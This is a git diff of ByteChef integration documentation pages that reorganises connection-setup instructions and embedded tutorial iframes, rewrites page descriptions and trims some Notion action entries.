index bd733d473f4..eb775644f23 100644
--- a/docs/content/docs/reference/components/mixpanel_v1.mdx
+++ b/docs/content/docs/reference/components/mixpanel_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Mixpanel"
-description: "Mixpanel is a product analytics tool that helps you track user interactions and behaviors in your app or website to make data-driven decisions."
+description: "Mixpanel component for ByteChef. Product analytics. Learn how to implement this in your ByteChef workflows."
+title: Mixpanel
 ---
 
-
 Categories: Analytics
 
 
@@ -29,17 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to the dashboard at https://eu.mixpanel.com/login/.
-2. Click on Settings.
-3. Select Settings and then click on Project Settings.
-4. Under Access Keys section, copy the Project Token. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/mZ86S7nxlbxJX8afuZXQ?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -106,5 +94,17 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
 
+## Connection Setup
 
+1. Login to the dashboard at https://eu.mixpanel.com/login/.
+2. Click on Settings.
+3. Select Settings and then click on Project Settings.
+4. Under Access Keys section, copy the Project Token. Use these credentials to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/mZ86S7nxlbxJX8afuZXQ?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/modular-rag_v1.mdx b/docs/content/docs/reference/components/modular-rag_v1.mdx
index 966b7a4aab9..0cbafab020f 100644
--- a/docs/content/docs/reference/components/modular-rag_v1.mdx
+++ b/docs/content/docs/reference/components/modular-rag_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "Modular RAG"
-description: "A modular RAG (Retrieval-Augmented Generation) component that provides a flexible and customizable approach to building RAG systems. It allows you to combine different retrieval, augmentation, and generation strategies into a cohesive pipeline for enhanced AI-driven information processing and response generation."
+description: "Modular RAG component for ByteChef. Build retrieval-augmented generation (RAG) pipelines for AI workflows."
+title: Modular RAG
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: modularRag/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/monday_v1.mdx b/docs/content/docs/reference/components/monday_v1.mdx
index 8e2b2bd26a7..b7edcfcecd4 100644
--- a/docs/content/docs/reference/components/monday_v1.mdx
+++ b/docs/content/docs/reference/components/monday_v1.mdx
@@ -28,31 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect monday.com to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create an OAuth app in monday.com
-1. Open monday.com and click your profile avatar (top-right).
-2. Click on **Developers** to open the Developer Center.
-3. Click **Create app** (or open your existing app).
-4. Give the app a clear name, for example `ByteChef Integration`.
-5. In the left menu, open **Build** and choose **OAuth & permissions**.
-6. Add the following scopes (minimum required by ByteChef):
-   - `boards:read`
-   - `boards:write`
-   - `workspaces:read`
-   - `webhooks:write`
-7. Save the scopes.
-8. Click on **Redirect URLs** and add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
-9. Go back to **General settings** and copy your **Client ID** and **Client Secret** for later.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/z4s4DK5VY6yXHQmp3feO?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -115,8 +90,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Column
 Name: createColumn
 
@@ -173,8 +146,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Group
 Name: createGroup
 
@@ -229,8 +200,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Item
 Name: createItem
 
@@ -289,8 +258,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Item
 Name: deleteItem
 
@@ -326,8 +293,6 @@ This action does not produce any output.
 
 
 
-
-
 ## Triggers
 
 
@@ -366,4 +331,31 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
 
+Connect monday.com to ByteChef using OAuth 2.0 (Authorization Code).
+
+### Create an OAuth app in monday.com
+1. Open monday.com and click your profile avatar (top-right).
+2. Click on **Developers** to open the Developer Center.
+3. Click **Create app** (or open your existing app).
+4. Give the app a clear name, for example `ByteChef Integration`.
+5. In the left menu, open **Build** and choose **OAuth & permissions**.
+6. Add the following scopes (minimum required by ByteChef):
+   - `boards:read`
+   - `boards:write`
+   - `workspaces:read`
+   - `webhooks:write`
+7. Save the scopes.
+8. Click on **Redirect URLs** and add the ByteChef OAuth redirect (callback) URL(s):
+    - Cloud: `https://app.bytechef.io/callback`
+    - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
+9. Go back to **General settings** and copy your **Client ID** and **Client Secret** for later.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/z4s4DK5VY6yXHQmp3feO?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/myob_v1.mdx b/docs/content/docs/reference/components/myob_v1.mdx
index 72eb80ea8ee..edf327340d9 100644
--- a/docs/content/docs/reference/components/myob_v1.mdx
+++ b/docs/content/docs/reference/components/myob_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Myob"
-description: "MYOB is an accounting software that helps businesses manage their finances, invoicing, and payroll."
+description: "MYOB component for ByteChef. Accounting software. Learn how to implement this in your ByteChef workflows."
+title: MYOB
 ---
 
-
 Categories: Accounting
 
 
@@ -33,7 +32,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -91,8 +89,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Customer Payment
 Name: createCustomerPayment
 
@@ -129,8 +125,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Supplier
 Name: createSupplier
 
@@ -182,8 +176,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Supplier Payment
 Name: createSupplierPayment
 
@@ -222,11 +214,8 @@ This action does not produce any output.
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/mysql_v1.mdx b/docs/content/docs/reference/components/mysql_v1.mdx
index ef17762929c..967ccc2e2cb 100644
--- a/docs/content/docs/reference/components/mysql_v1.mdx
+++ b/docs/content/docs/reference/components/mysql_v1.mdx
@@ -1,10 +1,8 @@
 ---
-title: "MySQL"
-description: "Query, insert and update data from MySQL."
+description: "MySQL component for ByteChef. Database operations. Learn how to implement this in your ByteChef workflows."
+title: MySQL
 ---
 
-
-
 Type: mysql/v1
 
 <hr />
@@ -30,7 +28,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -69,8 +66,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Insert
 Name: insert
 
@@ -110,8 +105,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Update
 Name: update
 
@@ -153,8 +146,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Delete
 Name: delete
 
@@ -189,8 +180,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Execute
 Name: execute
 
@@ -226,8 +215,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## Triggers
 
 
@@ -265,9 +252,4 @@ The output for this action is dynamic and may vary depending on the input parame
   },
   "type" : "mysql/v1/newRow"
 }
-```
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/neo4j_v1.mdx b/docs/content/docs/reference/components/neo4j_v1.mdx
index 92aa66d6f1a..b10af680a27 100644
--- a/docs/content/docs/reference/components/neo4j_v1.mdx
+++ b/docs/content/docs/reference/components/neo4j_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Neo4j"
-description: "Neo4j is an open-source NoSQL graph database. It is a fully transactional database (ACID) that stores data structured as graphs consisting of nodes, connected by relationships."
+description: "Neo4j component for ByteChef. Connect to Neo4j graph database and execute queries in your workflows."
+title: Neo4j
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -40,7 +39,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -68,8 +66,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Search Data
 Name: search
 
@@ -95,12 +91,4 @@ Name: search
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/nifty_v1.mdx b/docs/content/docs/reference/components/nifty_v1.mdx
index e780c935eb7..320beb032e2 100644
--- a/docs/content/docs/reference/components/nifty_v1.mdx
+++ b/docs/content/docs/reference/components/nifty_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Nifty"
-description: "Nifty Project Management is a software tool that streamlines team collaboration and project tracking with features like task management, timelines, and communication tools to enhance productivity."
+description: "Nifty component for ByteChef. Project management. Learn how to implement this in your ByteChef workflows."
+title: Nifty
 ---
 
-
 Categories: Project Management, Productivity and Collaboration
 
 
@@ -30,29 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth2 App
-
-1. Navigate to your [Nifty](https://niftypm.com/case/agile-development/?utm_campaign=10981377029&utm_campaign=WorldWideDev-traffic-Search-14&utm_source=g&utm_source=adwords&utm_medium=cpc&utm_medium=ppc&utm_content=&utm_term=&utm_term=&ad_id=648900225750%E2%80%A9&hsa_acc=6503027811&hsa_cam=10981377029&hsa_grp=116587391671&hsa_ad=648900225750&hsa_src=g&hsa_tgt=dsa-1034839133995&hsa_kw=&hsa_mt=&hsa_net=adwords&hsa_ver=3&gad_source=1&gad_campaignid=10981377029&gbraid=0AAAAACydPO--RTfGKXzwwAaWd0b4pQxeW&gclid=CjwKCAiAu67KBhAkEiwAY0jAlcdshbZXCzyoCD7ZVdahI1GfjePmp5VvXd5P1iV3QjuSVRcAsJvlyxoCBC8QAvD_BwE) dashboard.
-2. Click on your account name.
-3. Click on **Settings**.
-4. Click on **App Center**.
-5. Click on **Integrate with API**.
-6. Click on **Create a new App**.
-7. Enter name and description.
-8. Enter **Redirect URI** depending on your instance:
-     - `https://app.bytechef.io/callback` (Cloud)
-     - `http://localhost:5173/callback` (Local dev)
-9. Add all needed Scopes.
-10. Click on **Create**.
-11. Click this icon.
-12. Here are Client ID and Client Secret.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/d345f40c-f9ff-4717-895a-0449d23bb3e1?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -118,8 +94,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -183,8 +157,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Task
 Name: getTask
 
@@ -238,8 +210,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Status
 Name: createStatus
 
@@ -298,8 +268,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Tracked Time Report
 Name: getTrackedTimeReport
 
@@ -362,8 +330,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -415,10 +381,35 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth2 App
+
+1. Navigate to your [Nifty](https://niftypm.com/case/agile-development/?utm_campaign=10981377029&utm_campaign=WorldWideDev-traffic-Search-14&utm_source=g&utm_source=adwords&utm_medium=cpc&utm_medium=ppc&utm_content=&utm_term=&utm_term=&ad_id=648900225750%E2%80%A9&hsa_acc=6503027811&hsa_cam=10981377029&hsa_grp=116587391671&hsa_ad=648900225750&hsa_src=g&hsa_tgt=dsa-1034839133995&hsa_kw=&hsa_mt=&hsa_net=adwords&hsa_ver=3&gad_source=1&gad_campaignid=10981377029&gbraid=0AAAAACydPO--RTfGKXzwwAaWd0b4pQxeW&gclid=CjwKCAiAu67KBhAkEiwAY0jAlcdshbZXCzyoCD7ZVdahI1GfjePmp5VvXd5P1iV3QjuSVRcAsJvlyxoCBC8QAvD_BwE) dashboard.
+2. Click on your account name.
+3. Click on **Settings**.
+4. Click on **App Center**.
+5. Click on **Integrate with API**.
+6. Click on **Create a new App**.
+7. Enter name and description.
+8. Enter **Redirect URI** depending on your instance:
+     - `https://app.bytechef.io/callback` (Cloud)
+     - `http://localhost:5173/callback` (Local dev)
+9. Add all needed Scopes.
+10. Click on **Create**.
+11. Click this icon.
+12. Here are Client ID and Client Secret.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/d345f40c-f9ff-4717-895a-0449d23bb3e1?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/nocodb_v1.mdx b/docs/content/docs/reference/components/nocodb_v1.mdx
index 6c78c1c171d..c85a0e3e20f 100644
--- a/docs/content/docs/reference/components/nocodb_v1.mdx
+++ b/docs/content/docs/reference/components/nocodb_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "NocoDB"
-description: "NocoDB is an open-source platform that transforms databases into smart spreadsheets, enabling users to manage and collaborate on data with a no-code interface."
+description: "NocoDB component for ByteChef. Database as spreadsheet. Learn how to implement this in your ByteChef workflows."
+title: NocoDB
 ---
 
-
 Categories: File Storage
 
 
@@ -30,21 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect NocoDB to ByteChef using an API Token.
-
-1. Log in to your NocoDB account (Cloud: https://app.nocodb.com).
-2. Click your avatar in the bottom‑left corner.
-3. Open **API Tokens**.
-4. Click **Create new token**.
-5. Enter a descriptive name (for example, `ByteChef Integration`) and click **Save**.
-6. Copy the generated token and keep it secure.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/PayrWUMJSScjPQutvCIe?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -109,8 +93,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Delete Records
 Name: deleteRecords
 
@@ -167,8 +149,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Get Record
 Name: getRecord
 
@@ -207,8 +187,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Search Records
 Name: searchRecords
 
@@ -252,8 +230,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Update Records
 Name: updateRecords
 
@@ -312,5 +288,21 @@ Items Type: OBJECT
 
 
 
+<hr />
 
+# Additional Instructions
+
+## Connection Setup
+
+Connect NocoDB to ByteChef using an API Token.
 
+1. Log in to your NocoDB account (Cloud: https://app.nocodb.com).
+2. Click your avatar in the bottom‑left corner.
+3. Open **API Tokens**.
+4. Click **Create new token**.
+5. Enter a descriptive name (for example, `ByteChef Integration`) and click **Save**.
+6. Copy the generated token and keep it secure.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/PayrWUMJSScjPQutvCIe?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/notion_v1.mdx b/docs/content/docs/reference/components/notion_v1.mdx
index 3b964b1318a..37d3fa6c326 100644
--- a/docs/content/docs/reference/components/notion_v1.mdx
+++ b/docs/content/docs/reference/components/notion_v1.mdx
@@ -30,30 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Notion to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Notion OAuth app
-1. Open the Notion developer dashboard: https://www.notion.so/my-integrations
-2. Click **+ New integration**.
-3. Enter a clear name (for example, `ByteChef Integration`), select a workspace, and set the **Integration type** to **Public**.
-4. Fill out the remaining required fields (company name, website, email, etc.).
-5. Add the ByteChef OAuth redirect (callback) URL(s):
-   - Cloud: `https://app.bytechef.io/callback`
-   - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
-6. Click **Save**, then open **Configure integration settings**.
-7. Under **Capabilities**, enable at minimum:
-   - Read content
-   - Update content
-   - Insert content
-   - User information including email addresses
-8. Click **Save changes** and copy the generated **Client ID** and **Client Secret**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/tjGvn39BIE7TbZ4ztjc6?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -62,65 +38,6 @@ Connect Notion to ByteChef using OAuth 2.0 (Authorization Code).
 ## Actions
 
 
-### Add Block to Page
-Name: addBlockToPage
-
-`Adds a new content block to a page.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| id | Parent Page ID | STRING |  | true |
-| children | Children | ARRAY <details> <summary> Items </summary> [&#123;STRING\(type), [&#123;STRING\(type), &#123;STRING\(content)&#125;\(text), &#123;STRING\(expression)&#125;\(equation)&#125;]\(caption), STRING\(url), STRING\(url), STRING\(expression), BOOLEAN\(checked), STRING\(color), [&#123;STRING\(type), &#123;STRING\(content)&#125;\(text), &#123;STRING\(expression)&#125;\(equation)&#125;]\(rich_text), STRING\(language)&#125;] </details> | Child content to append to a container block as an array of block objects. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Add Block to Page",
-  "name" : "addBlockToPage",
-  "parameters" : {
-    "id" : "",
-    "children" : [ {
-      "type" : "",
-      "caption" : [ {
-        "type" : "",
-        "text" : {
-          "content" : ""
-        },
-        "equation" : {
-          "expression" : ""
-        }
-      } ],
-      "url" : "",
-      "expression" : "",
-      "checked" : false,
-      "color" : "",
-      "rich_text" : [ {
-        "type" : "",
-        "text" : {
-          "content" : ""
-        },
-        "equation" : {
-          "expression" : ""
-        }
-      } ],
-      "language" : ""
-    } ]
-  },
-  "type" : "notion/v1/addBlockToPage"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
 ### Create Database Item
 Name: createDatabaseItem
 
@@ -155,8 +72,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Create Page
 Name: createPage
 
@@ -257,8 +172,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Database
 Name: getDatabase
 
@@ -341,8 +254,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Page
 Name: getPage
 
@@ -441,76 +352,6 @@ Type: OBJECT
 ```
 
 
-
-
-### Get Page or Block Children
-Name: getPageOrBlockChildren
-
-`Retrieve the actual content of a page (represented by blocks)`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| id | Page or Parent Block ID | STRING |  | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Get Page or Block Children",
-  "name" : "getPageOrBlockChildren",
-  "parameters" : {
-    "id" : ""
-  },
-  "type" : "notion/v1/getPageOrBlockChildren"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-### List Database Items
-Name: listDatabaseItems
-
-`List all items in a Notion database.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| id | Database ID | STRING | The ID of the database. | true |
-| property | Sort By | STRING | Property to sort the items by. | true |
-| direction | Sort Direction | STRING <details> <summary> Options </summary> <span>ascending</span>, <span>descending</span> </details> | The direction to sort the items. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "List Database Items",
-  "name" : "listDatabaseItems",
-  "parameters" : {
-    "id" : "",
-    "property" : "",
-    "direction" : ""
-  },
-  "type" : "notion/v1/listDatabaseItems"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
 ### Update Database Item
 Name: updateDatabaseItem
 
@@ -546,8 +387,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## Triggers
 
 
@@ -584,10 +423,36 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect Notion to ByteChef using OAuth 2.0 (Authorization Code).
+
+### Create a Notion OAuth app
+1. Open the Notion developer dashboard: https://www.notion.so/my-integrations
+2. Click **+ New integration**.
+3. Enter a clear name (for example, `ByteChef Integration`), select a workspace, and set the **Integration type** to **Public**.
+4. Fill out the remaining required fields (company name, website, email, etc.).
+5. Add the ByteChef OAuth redirect (callback) URL(s):
+   - Cloud: `https://app.bytechef.io/callback`
+   - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
+6. Click **Save**, then open **Configure integration settings**.
+7. Under **Capabilities**, enable at minimum:
+   - Read content
+   - Update content
+   - Insert content
+   - User information including email addresses
+8. Click **Save changes** and copy the generated **Client ID** and **Client Secret**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/tjGvn39BIE7TbZ4ztjc6?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/nutshell_v1.mdx b/docs/content/docs/reference/components/nutshell_v1.mdx
index 4dfb2dc8a26..7a5ca641575 100644
--- a/docs/content/docs/reference/components/nutshell_v1.mdx
+++ b/docs/content/docs/reference/components/nutshell_v1.mdx
@@ -30,25 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create API Key
-
-1. Navigate to [Nutshell](https://app.nutshell.com/sales/dashboard) dashboard.
-2. Click on **Settings**.
-3. Click on **Connections**.
-4. Click on **Add API key…**.
-5. Enter name and choose **API + user Impersonation**.
-6. Click on **New API key**.
-7. Click on new API key.
-8. Here you can copy your **API Key**.
-9. Click on **Save API key**.
-10. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/daae8c5b-00aa-4354-919e-61300366cae5?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -132,8 +113,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Company
 Name: createCompany
 
@@ -209,8 +188,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Lead
 Name: createLead
 
@@ -267,11 +244,31 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create API Key
+
+1. Navigate to [Nutshell](https://app.nutshell.com/sales/dashboard) dashboard.
+2. Click on **Settings**.
+3. Click on **Connections**.
+4. Click on **Add API key…**.
+5. Enter name and choose **API + user Impersonation**.
+6. Click on **New API key**.
+7. Click on new API key.
+8. Here you can copy your **API Key**.
+9. Click on **Save API key**.
+10. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/daae8c5b-00aa-4354-919e-61300366cae5?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/nvidia_v1.mdx b/docs/content/docs/reference/components/nvidia_v1.mdx
index e6c36bd0dfb..95f96b66b93 100644
--- a/docs/content/docs/reference/components/nvidia_v1.mdx
+++ b/docs/content/docs/reference/components/nvidia_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "NVIDIA LLM"
-description: "Generative AI and digitalization are reshaping the $3 trillion automotive industry, from design and engineering to manufacturing, autonomous driving, and customer experience. NVIDIA is at the epicenter of this industrial transformation."
+description: "NVIDIA component for ByteChef. AI and computing resources. Learn how to implement this in your ByteChef workflows."
+title: NVIDIA LLM
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -110,12 +108,4 @@ Name: ask
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/object-helper_v1.mdx b/docs/content/docs/reference/components/object-helper_v1.mdx
index 67698eb47ff..ac34192db63 100644
--- a/docs/content/docs/reference/components/object-helper_v1.mdx
+++ b/docs/content/docs/reference/components/object-helper_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Object Helper"
-description: "Object Helper allows you to do various operations on objects."
+description: "Object Helper component. Object manipulation operations. Learn how to implement this in your ByteChef workflows."
+title: Object Helper
 ---
 
-
 Categories: Helpers
 
 
@@ -62,8 +61,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Add Key-Value Pairs
 Name: addKeyValuePairs
 
@@ -100,8 +97,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Contains
 Name: contains
 
@@ -111,7 +106,7 @@ Name: contains
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| source | Source | OBJECT <details> <summary> Properties </summary> &#123;&#125; </details> | Object that you'd like to check. | true |
+| input | Input | OBJECT <details> <summary> Properties </summary> &#123;&#125; </details> | Object that you'd like to check. | true |
 | key | Key | STRING | Key to check for existence. | true |
 
 #### Example JSON Structure
@@ -120,7 +115,7 @@ Name: contains
   "label" : "Contains",
   "name" : "contains",
   "parameters" : {
-    "source" : { },
+    "input" : { },
     "key" : ""
   },
   "type" : "objectHelper/v1/contains"
